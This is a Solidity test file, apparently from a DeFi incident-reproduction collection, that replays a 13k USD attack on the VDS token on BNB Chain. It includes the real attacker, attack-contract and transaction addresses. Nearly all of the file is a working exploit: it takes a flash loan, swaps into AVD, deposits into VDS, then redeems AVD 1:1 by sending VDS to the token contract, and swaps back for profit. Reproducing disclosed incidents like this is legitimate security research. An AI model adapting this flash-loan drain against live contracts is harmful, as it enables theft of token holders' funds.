src/test/2025-07/VDS_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 13k USD
8// Attacker : https://bscscan.com/address/0xa3e18e6028b1ca09433157cd6a5e807ffe705350
9// Attack Contract : https://bscscan.com/address/0x383794a0c68e5c8c050f8f361b26a22b3f60eccf
10// Vulnerable Contract : https://bscscan.com/address/0x6ce69d7146dbaae18c11c36d8d94428623b29d5a
11// Attack Tx : https://bscscan.com/tx/0x0e01fd8798f970fd689014cb215e622aca8b7c8c243176c5b504e0043402e31f
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x6ce69d7146dbaae18c11c36d8d94428623b29d5a#code
15 
16// @Analysis
17// Post-mortem : N/A
18// Twitter Guy : https://x.com/SlowMist_Team/status/1945672192471302645
19// Hacking God : N/A
20pragma solidity ^0.8.0;
21 
22address constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;
23address constant MOOLAH = 0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C;
24address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
25address constant AVD_TOKEN = 0x4Ec93ee81f25dA3C8e49F01533cfB734545190A8;
26address constant VDS_TOKEN = 0x6ce69d7146dbaae18c11c36d8D94428623B29D5A;
27 
28contract VDS is BaseTestWithBalanceLog {
29    uint256 blocknumToForkFrom = 54252254 - 1;
30 
31    function setUp() public {
32        vm.createSelectFork("bsc", blocknumToForkFrom);
33        fundingToken = BSC_USD;
34    }
35 
36    function testExploit() public balanceLog {
37        // Step 1: Flash loan 20k BSC_USD from Moolah
38        IERC20(BSC_USD).approve(MOOLAH, type(uint256).max);
39        IMoolah(MOOLAH).flashLoan(BSC_USD, 20_000 ether, "");
40    }
41    
42    function onMoolahFlashLoan(uint256 assets, bytes calldata userData) public {
43        IERC20 bscUsd = IERC20(BSC_USD);
44        IERC20 avd = IERC20(AVD_TOKEN);
45        IERC20 vds = IERC20(VDS_TOKEN);
46 
47        IPancakeRouter router = IPancakeRouter(payable(PANCAKE_ROUTER));
48        
49        bscUsd.approve(PANCAKE_ROUTER, 20_000 ether);
50        address[] memory path = new address[](2);
51        path[0] = BSC_USD;
52        path[1] = AVD_TOKEN;
53        // Step 2: BSC_USD -> AVD via PancakeSwap
54        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(assets, 0, path, address(this), block.timestamp);
55 
56        uint256 avdBalance = avd.balanceOf(address(this));
57        avd.approve(VDS_TOKEN, avdBalance);
58 
59        // Step 3: deposit AVD for VDS
60        IVDS(VDS_TOKEN).deposit(VDS_TOKEN, avdBalance);
61 
62        // Step 4: Burn VDS to get AVD back
63        // Root cause: Sending VDS to its contract address returns AVD at a 1:1 ratio
64        uint256 amount = 168205391822;
65        vds.transfer(VDS_TOKEN, amount);
66 
67        avdBalance = avd.balanceOf(address(this));
68        avd.approve(PANCAKE_ROUTER, avdBalance);
69        path[0] = AVD_TOKEN;
70        path[1] = BSC_USD;
71        // Step 5: AVD -> BSC_USD via PancakeSwap
72        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(avdBalance, 0, path, address(this), block.timestamp);
73    }
74}
75 
76interface IMoolah {
77    function flashLoan(address token, uint256 assets, bytes calldata data) external;
78}
79 
80interface IVDS {
81    function deposit(address token, uint256 amount) external;
82}